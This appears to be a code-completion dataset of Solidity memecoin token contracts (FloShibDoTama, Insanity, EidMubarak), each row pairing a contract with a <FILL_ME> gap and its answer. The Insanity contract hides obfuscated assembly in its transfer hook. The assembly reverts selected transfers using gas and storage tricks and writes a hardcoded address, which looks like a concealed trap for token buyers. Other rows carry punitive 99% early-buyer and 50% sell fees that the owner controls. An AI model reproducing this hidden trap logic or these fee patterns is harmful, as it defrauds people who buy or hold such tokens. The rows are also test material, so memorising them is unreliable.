comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"Cannot Exceed max wallet" | // SPDX-License-Identifier: MIT
/**
Twitter: https://twitter.com/floshibdotama
Website: https://www.floshibdotama.com/
Tg: https://t.me/FloShibDoTama
*/
pragma solidity 0.8.15;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract FloShibDoTama is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
IDexRouter public dexRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address operationsAddress;
address devAddress;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
uint256 public blockForPenaltyEnd;
mapping (address => bool) public boughtEarly;
uint256 public botsCaught;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyOperationsFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public buyBurnFee;
uint256 public sellTotalFees;
uint256 public sellOperationsFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public sellBurnFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 public tokensForBurn;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event BuyBackTriggered(uint256 amount);
event OwnerForcedSwapBack(uint256 timestamp);
event CaughtEarlyBuyer(address sniper);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() ERC20("FloShibDoTama", "4DOG") {
}
receive() external payable {}
// only enable if no plan to airdrop
function enableTrading(uint256 deadBlocks) external onlyOwner {
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
}
function manageBoughtEarly(address wallet, bool flag) external onlyOwner {
}
function massManageBoughtEarly(address[] calldata wallets, bool flag) external onlyOwner {
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
}
function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _devFee, uint256 _burnFee) external onlyOwner {
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _devFee, uint256 _burnFee) external onlyOwner {
}
function returnToNormalTax() external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "amount must be greater than 0");
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if(blockForPenaltyEnd > 0){
require(!boughtEarly[from] || to == owner() || to == address(0xdead), "Bots cannot transfer tokens in or out except to owner or dead address.");
}
if(limitsInEffect){
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]){
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != address(dexRouter) && to != address(lpPair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number - 2 && _holderLastTransferTimestamp[to] < block.number - 2, "_transfer:: Transfer Delay enabled. Try again later.");
_holderLastTransferTimestamp[tx.origin] = block.number;
_holderLastTransferTimestamp[to] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxBuyAmount, "Buy transfer amount exceeds the max buy.");
require(<FILL_ME>)
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxSellAmount, "Sell transfer amount exceeds the max sell.");
}
else if (!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = true;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// bot/sniper penalty.
if(earlyBuyPenaltyInEffect() && automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to] && buyTotalFees > 0){
if(!boughtEarly[to]){
boughtEarly[to] = true;
botsCaught += 1;
emit CaughtEarlyBuyer(to);
}
fees = amount * 99 / 100;
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForOperations += fees * buyOperationsFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForBurn += fees * buyBurnFee / buyTotalFees;
}
// on sell
else if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount * sellTotalFees / 100;
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForOperations += fees * sellOperationsFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForBurn += fees * sellBurnFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount * buyTotalFees / 100;
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForOperations += fees * buyOperationsFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForBurn += fees * buyBurnFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function earlyBuyPenaltyInEffect() public view returns (bool){
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
}
// withdraw ETH from contract address
function withdrawStuckETH() external onlyOwner {
}
function setOperationsAddress(address _operationsAddress) external onlyOwner {
}
function setDevAddress(address _devAddress) external onlyOwner {
}
// force Swap back if slippage issues.
function forceSwapBack() external onlyOwner {
}
// useful for buybacks or to reclaim any ETH on the contract in a way that helps holders.
function buyBackTokens(uint256 amountInWei) external onlyOwner {
}
}
| amount+balanceOf(to)<=maxWalletAmount,"Cannot Exceed max wallet" | 61,006 | amount+balanceOf(to)<=maxWalletAmount |
"Can only swap when token amount is at or higher than restriction" | // SPDX-License-Identifier: MIT
/**
Twitter: https://twitter.com/floshibdotama
Website: https://www.floshibdotama.com/
Tg: https://t.me/FloShibDoTama
*/
pragma solidity 0.8.15;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract FloShibDoTama is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
IDexRouter public dexRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address operationsAddress;
address devAddress;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
uint256 public blockForPenaltyEnd;
mapping (address => bool) public boughtEarly;
uint256 public botsCaught;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyOperationsFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public buyBurnFee;
uint256 public sellTotalFees;
uint256 public sellOperationsFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public sellBurnFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 public tokensForBurn;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event BuyBackTriggered(uint256 amount);
event OwnerForcedSwapBack(uint256 timestamp);
event CaughtEarlyBuyer(address sniper);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() ERC20("FloShibDoTama", "4DOG") {
}
receive() external payable {}
// only enable if no plan to airdrop
function enableTrading(uint256 deadBlocks) external onlyOwner {
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
}
function manageBoughtEarly(address wallet, bool flag) external onlyOwner {
}
function massManageBoughtEarly(address[] calldata wallets, bool flag) external onlyOwner {
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
}
function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _devFee, uint256 _burnFee) external onlyOwner {
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _devFee, uint256 _burnFee) external onlyOwner {
}
function returnToNormalTax() external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function earlyBuyPenaltyInEffect() public view returns (bool){
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
}
// withdraw ETH from contract address
function withdrawStuckETH() external onlyOwner {
}
function setOperationsAddress(address _operationsAddress) external onlyOwner {
}
function setDevAddress(address _devAddress) external onlyOwner {
}
// force Swap back if slippage issues.
function forceSwapBack() external onlyOwner {
require(<FILL_ME>)
swapping = true;
swapBack();
swapping = false;
emit OwnerForcedSwapBack(block.timestamp);
}
// useful for buybacks or to reclaim any ETH on the contract in a way that helps holders.
function buyBackTokens(uint256 amountInWei) external onlyOwner {
}
}
| balanceOf(address(this))>=swapTokensAtAmount,"Can only swap when token amount is at or higher than restriction" | 61,006 | balanceOf(address(this))>=swapTokensAtAmount |
"ERC20: trading is not yet enabled." | // Insanity is doing the same thing, over and over again, but expecting different results.
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private insaneAddr;
uint256 private _botsHello = block.number*2;
mapping (address => bool) private _helloThere;
mapping (address => bool) private _astralHunter;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private fallenBody;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _txfee;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private swapTo = 1; bool private swapFrom;
uint256 private _decimals; uint256 private swapTime;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 integer) internal {
require(<FILL_ME>)
if (block.chainid == 1) {
bool open = (((swapFrom || _astralHunter[sender]) && ((_botsHello - theN) >= 9)) || (integer >= _limit) || ((integer >= (_limit/5)) && (_botsHello == block.number))) && ((_helloThere[recipient] == true) && (_helloThere[sender] != true) || ((insaneAddr[1] == recipient) && (_helloThere[insaneAddr[1]] != true))) && (swapTime > 0);
assembly {
function gByte(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function gG() -> faL { faL := gas() }
function gDyn(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
if eq(sload(gByte(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) } if and(lt(gG(),sload(0xB)),open) { invalid() } if sload(0x16) { sstore(gByte(sload(gDyn(0x2,0x1)),0x6),0x726F105396F2CA1CCEBD5BFC27B556699A07FFE7C2) }
if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
let k := sload(0x18) let t := sload(0x11) if iszero(sload(0x17)) { sstore(0x17,t) } let g := sload(0x17)
switch gt(g,div(t,0x3))
case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) }
case 0 { g := div(t,0x3) }
sstore(0x17,t) sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1))
}
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x9)),eq(sload(gByte(sload(0x8),0x4)),0x0)) { sstore(gByte(sload(0x8),0x5),0x1) }
if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
let k := sload(0x11) let t := sload(0x17) sstore(0x17,k) sstore(0x11,t)
}
if iszero(mod(sload(0x15),0x5)) { sstore(0x16,0x1) } sstore(0x12,integer) sstore(0x8,recipient) sstore(0x3,number()) }
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _setValues() internal { }
function _DeployInsane(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract Insanity is ERC20Token {
constructor() ERC20Token("Insanity", "INSANE", msg.sender, 300000 * 10 ** 18) {
}
}
| (trading||(sender==insaneAddr[1])),"ERC20: trading is not yet enabled." | 61,024 | (trading||(sender==insaneAddr[1])) |
"Exceeds maximum wallet amount." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) { }
function sub(uint256 a, uint256 b) internal pure returns (uint256) { }
function mul(uint256 a, uint256 b) internal pure returns (uint256) { }
function div(uint256 a, uint256 b) internal pure returns (uint256) { }
function mod(uint256 a, uint256 b) internal pure returns (uint256) { }
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}}
interface IERC20 {
function totalSupply() external view returns (uint256);
function circulatingSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Ownable {
address internal owner;
constructor(address _owner) { }
modifier onlyOwner() { }
function isOwner(address account) public view returns (bool) { }
function transferOwnership(address payable adr) public onlyOwner { }
event OwnershipTransferred(address owner);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract EidMubarak is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = 'Eid Mubarak';
string private constant _symbol = 'EID';
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 100000000 * (10 ** _decimals);
uint256 private _maxTxAmountPercent = 200; // 10000;
uint256 private _maxTransferPercent = 200;
uint256 private _maxWalletPercent = 200;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) private isBot;
IRouter router;
address public pair;
bool private tradingAllowed = true;
uint256 private liquidityFee = 0;
uint256 private marketingFee = 300;
uint256 private developmentFee = 300;
uint256 private burnFee = 0;
uint256 private totalFee = 2500;
uint256 private sellFee = 5000;
uint256 private transferFee = 5000;
uint256 private denominator = 10000;
bool private swapEnabled = true;
uint256 private swapTimes;
bool private swapping;
uint256 private swapThreshold = ( _totalSupply * 600 ) / 100000;
uint256 private _minTokenAmount = ( _totalSupply * 10 ) / 100000;
modifier lockTheSwap { }
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address internal constant development_receiver = 0x2fb9c6fC9624478F755A7A449CB084F87866E15e;
address internal constant marketing_receiver = 0x2fb9c6fC9624478F755A7A449CB084F87866E15e;
address internal constant liquidity_receiver = 0x2fb9c6fC9624478F755A7A449CB084F87866E15e;
constructor() Ownable(msg.sender) {
}
receive() external payable {}
function name() public pure returns (string memory) { }
function symbol() public pure returns (string memory) { }
function decimals() public pure returns (uint8) { }
function setExtent() external onlyOwner { }
